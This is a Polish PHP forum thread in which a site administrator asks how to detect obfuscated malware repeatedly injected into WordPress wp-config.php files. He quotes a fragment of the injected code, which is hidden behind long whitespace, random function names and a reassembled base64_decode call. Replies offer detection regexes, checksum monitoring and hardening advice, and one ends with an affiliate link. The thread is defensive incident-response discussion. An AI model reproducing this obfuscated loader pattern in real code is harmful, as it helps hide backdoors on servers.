Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Wykrywanie szyfrowanych elementów.
Forum PHP.pl > Forum > PHP
ShadowHunter
Witam,

zastanawiam się nad następującym problemem.
Mam w WordPressie plik wp-config.php niestety z tego co obserwuję co jakiś czas następuje jego infekcja. Infekcja ta nie jest rozpoznawana przez żaden program antywirusowy.(póki co nie znalazłem takiego co by zauważył ją)
Pytanie jest o pomysł na zautomatyzowane wykrywanie takiego "życia ukrytego".
Poniżej drobny fragment (jest w formie prawie oryginalnej więc część jest trudno czytelna:
  1. <?php
  2. (i tutaj jest prawie 1000 spacji - generalnie kodu normalnie nie widać w edytorze bez przewinięcia w prawo) function z3skw9X($AfY3hNpN6,$y0G1QqdyUbU4g2YzckzZOM5,$QchVQeqI4WzKdD9){ return str_replace($AfY3hNpN6,$y0G1QqdyUbU4g2YzckzZOM5,$QchVQeqI4WzKdD9);} function etpn3baZUmSD7vk($AfY3hNpN6,$y0G1QqdyUbU4g2YzckzZOM5,$QchVQeqI4WzKdD9){ return str_replace($AfY3hNpN6,$y0G1QqdyUbU4g2YzckzZOM5,$QchVQeqI4WzKdD9);} function snsuQcY($AfY3hNpN6,$y0G1QqdyUbU4g2YzckzZOM5,$QchVQeqI4WzKdD9){ return str_replace($AfY3hNpN6,$y0G1QqdyUbU4g2YzckzZOM5,$QchVQeqI4WzKdD9);} $oeI8f = 'bsUapmf1fasUapmf1fssUapmf1fesUapmf1f6sUapmf1f4sUapmf1f_sUapmf1fdsUapmf1fesUa
  3. pmf1fcsUapmf1fosUapmf1fdsUapmf1fe'; $oeI8f = snsuQcY('sUapmf1f','',$oeI8f); $kv60m4MKi5TMQm = 'cVz6aJU6wicfqUEKOFPnDUEOEErVz6aJU6wicfqUEKOFPnD
  4.  
  5. // tutaj jest jeszcze kilkadziesiąt kB losowych "robaczków" i niżej standardowy plik konfiguracyjny WordPressa
  6.  
  7. $ZOdGFGcE5iazV3VXpGU2VsTXdUblZOUlhSdFZWaEJOVkV5WXpsUVUwbHdTMVJ6WnlJcEtUc2ciK
  8. Sk7IA==');?><?php
  9. /**
  10.  * Podstawowa konfiguracja WordPressa.
  11.  *
  12.  * Ten plik zawiera konfiguracje: ustawie▒^▒ MySQL-a, prefiksu tabel
  13.  * w bazie danych, tajnych kluczy, używanej lokalizacji WordPressa
  14.  * i ABSPATH. Wi▒^▒▒^▒ej informacji znajduje si▒^▒ na stronie
  15. // itd...

Kod szyfrowany nie jest powtarzalny więc nie da się go wykryć na zasadzie wyszukania ciągu znaków.
Podglądając go np. w terminalu linuxa całość mieści się w jednej długiej linii. Tutaj widzę że edytor podzielił go po swojemu.
Ilość spacji na początku jest różna, nazwy funkcji są różne (losowe)
Pytanie czy jest może jakiś gotowy skrypt, który by coś takiego rozpoznał, albo czy macie jakiś pomysł na wykrycie go przez skanowanie plików?
Chciałbym napisać skrypt który "przetrzepie" cały kod strony i wyłapie mi pliki w których coś takiego może się czaić. Ale nie wiem w sumie jaki przyjąć punkt początkowy skanowania.
Bo ręczne wyszukiwanie to "troszkę" za dużo roboty przy dużej ilości stron.

z góry dzięki za sugestie
markuz
Skoro mówisz, że skrypt jest w 1 lini i ma dużo spacji z przodu to może warto poszukiwać go właśnie w ten sposób? Tzn. czytasz plik, sprawdzasz długość każdej linijki i jeżeli np. jej długośc jest większa niż 1000 to wiesz, że coś jest nie tak. Jeżeli występuje tylko na początku to przeszukujesz tylko np. 10 pierwszych linijek (wydajność). Chociaż radziłbym Ci usunąć źródło problemu a nie skutek.
nospor
Mozesz tez np. zainstalowac git i jedna prosta komenda
git status
pokaze ci czy nie zmienily się przypadkiem jakieś pliki. W ciagu sekundy bedziesz wiedzial czy ktos szaleje ci na koncie czy nie.
kartin
Zawsze jakiś sposób, tylko zawsze przed jakąkolwiek aktualizacją lub instalacja nowej wtyczki trzeba sprawdzić czy coś się zmieniło, a po aktualizacji trzeba zrobić commita.

Jak możesz to wrzuć cały ten złośliwy kod np. na Pastebin, bo w tym fragmencie co wkleiłeś nie ma niczego szczególnie charakterystycznego.

W każdym razie, bieżąca aktualizacja WordPressa, wtyczek, motywów to podstawa.
ShadowHunter
Git nie wchodzi w rachubę, strony są porozrzucane po różnych hostingach i nie każdy oferuje dostęp do gita. A poza tym można "zginąć" w commitach.
Aktualizacje są robione ale np jest pewna strona która została oczyszczona i wydaje się że jest ok (nadpisana wersja WP, plików wtyczek i motywu) ale mimo to kod się ponownie pojawił. Jedno to znalezienie przyczyny a drugie to doraźna eliminacja skutków.
Poza tym przy aktualizacji WP nie jest aktualizowany plik wp-config.php zatem sama aktualizacja może znacznie pomóc w zachowaniu bezpieczeństwa, natomiast go nie zapewni gdy strona jest już potencjalnie zainfekowana.
Natomiast mi chodzi o to, że dostaję stronę w postaci np. archiwum i wiadomo, że nie ma wirusa to antywir niczego nie wykrywa ale wiadomo też, że na stronie jest kod php który jest sterowany z botneta. Strona działa poprawnie więc na pierwszy rzut oka nie ma niczego podejrzanego, jednka kod sobie siedzi np. w plikach index.php czy w wp-config.php i pewnie wielu innych. Ręczne szukanie kodu w każdym pliku to "robota głupiego"... no ale znaleźć trzeba więc szukam sposobu na zautomatyzowanie.
Ot choćby wykrycie wszystkich plików podejrzanych o to że taki kod mają. Jak trafi się w nich kilka z fałszywym alarmem nie będzie tragedii. Ale zawsze to mniej niż pełna instalacja strony.

Pełen kod znajdziecie tutaj: http://tny.cz/734745b5
salfunglandyare
może takie coś:
  1. $zawartosc_pliku_php = file_get_contents('plik.php');
  2. if(preg_match('/<\?php\s{100}\s*function.+[a-zA-Z0-9]{100}.+?\?>/is',$zawartosc_pliku_php)>0){
  3. //możliwy wirus
  4. }
  5.  
  6. //usunięcie:
  7. $zawartosc_pliku_php = preg_replace('/<\?php\s{100}\s*function.+[a-zA-Z0-9]{100}.+?\?>/is','',$zawartosc_pliku_php);

ShadowHunter
Patrząc na Twój kod nasunęło mi się jeszcze że można by połączyć to w sumie z wykrywaniem tego czego nie ma w tym ciągu... tzn są sporadycznie kropki i brak spacji np. w 50 następujących po sobie znakach.
Pewnie będzie to wymagało testowania by sprawdzić skuteczność ale dzięki za punkt zaczepienia.
IProSoft
A ja z innej beczki zadam pytanie: nie pomyślałeś aby znaleźc źródło tej infekcji bo moim zdanie to podstawa w takiej sytuacji.

Najwyraźniej ktoś/coś ma dostęp do zapisu w Twoich plikach, a skoro tak, któregoś dnia może okazać sie, że nie masz nic innego w plikach jak zainfekowany kod bo komus wpadnie pomysł usunięcia Twoich stron.
ShadowHunter
Usunięcie przyczyny w tym przypadku to nie jest prostą sprawą. Z resztą w obecnych czasach bezpieczeństwo to w sumie 2 typy działań : zabezpieczanie i reagowanie na incydenty. I pierwsze i drugie jest ważne.
Usunięcie to w tym przypadku zabawa na dłużej, ale też żeby usuwać trzeba mieć świadomość że coś w systemie jest. No generalnie złożone to działanie a ten problem którego wątek dotyczy to tylko jeden z elementów reagowania i przeciwdziałania takim zjawiskom.
salfunglandyare
Po pierwsze - zmiana hasła FTP, SSH itp, za często się spotykałem z włamaniami, gdzie hasła FTP były wykradane z takich rzeczy jak total commander, czy wsftp,
Po drugie - uszczelnić zewnętrzne aplikacje (np. znana i lubiana przez domorosłych haxorów niekompetencja webdeveloperów w użyciu domyślnego browsera dla fckeditora...),
Po trzecie - aktualizacja aplikacji (jeśli jest dostępna) - jeśli to własny kod, trudniej jest się włamać, ale też trudniej rozpoznać.
stankiewiczpl
Proponuje takie rozwiązanie.
Po instalacji dowolnego skryptu ,cms'a ,etc wylistuj pliki sprawdzając ich sumy kontrolne,te z kolei wypisz na listę checksum.txt .
Możesz sobie zrobić druga listę z wykluczeniami katalogów czy tez pojedynczych plików.
Piszesz skrypt podpięty pod Crona który sprawdza sumy co jakiś czas.W przypadku wykrycia braku zgodności sum kontrolnych wysyła alert na email ,sms czy moze nawet gołebia pocztowego smile.gif ,że jakis plik został zmodyfikowany.
To bardzo popularne rozwiązanie i prawdopodobnie do WP znalazła by sie jakaś darmowa wtyczka.

a gdyby sie nie znalazła, to najwydajniej działa :


$wynik= explode(' ', exec('md5sum -b ' . escapeshellarg($plik)));
$suma_kontrolna= $wynik[0];

phpion
@stankiewiczpl:
...albo po prostu md5_file.
ShadowHunter
No sprawdzanie sum md5 się nie sprawdzi z praktycznego punktu widzenia.(Robią to wtyczki choćby WordFence) Każda aktualizacja wtyczek motywu czy czegokolwiek zmienia te sumy więc będzie mocno siało komunikatami a większość będzie fałszywym alarmem. a biorąc pod uwagę powiedzmy że mamy 30 stron na których jest do aktualizacji w sumie 50 wtyczek to dostajemy alert kilkuset zmian.
Natomiast chyba jedynym sensownym rozwiązaniem jest przeszukiwanie plików pod kątem występowania ciągów znakowych np 50 znaków po sobie występujących w których brak kropki średnika i spacji. Oczywiście trzeba by jeszcze dodać jakieś inne parametry które by ograniczyły ilość odpowiedzi. W efekcie taki skrypt zwróci pliki zainfekowane i archiwa i ewentualnie jeszcze skompresowane skrypty js. Inne raczej się nie przedostaną. A to już znacząco odsiewa fałszywe alarmy.
damian.1923
Zwalczyłem kiedyś to samo na swoim serwerze, jeśli chcesz odszukam ci skrypt PHP który wtedy napisałem.

Źródłem problemu była luka we wtyczce WP MailPoet (Wysija) lub Revolution Slider, liczbę witryn które padły ofiarą tego ataku mierzy się w dziesiątkach tysięcy jeśli nie więcej...

Jeśli chodzi o monitorowanie zmian w plikach, tutaj polecam serwer Vipserv.org, dostaję regualnie powiadomienie mailowe o każdej zmianie w plikach z informacją jaki program spowodował zmianę, o zaletach tego hostingu mógłbym wiele pisać ale nie o tym jest ten post, podaję link partnerski jeśli ktoś byłby zainteresowany:
http://vipserv.org/p/2231454209

Pozdrawiam
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.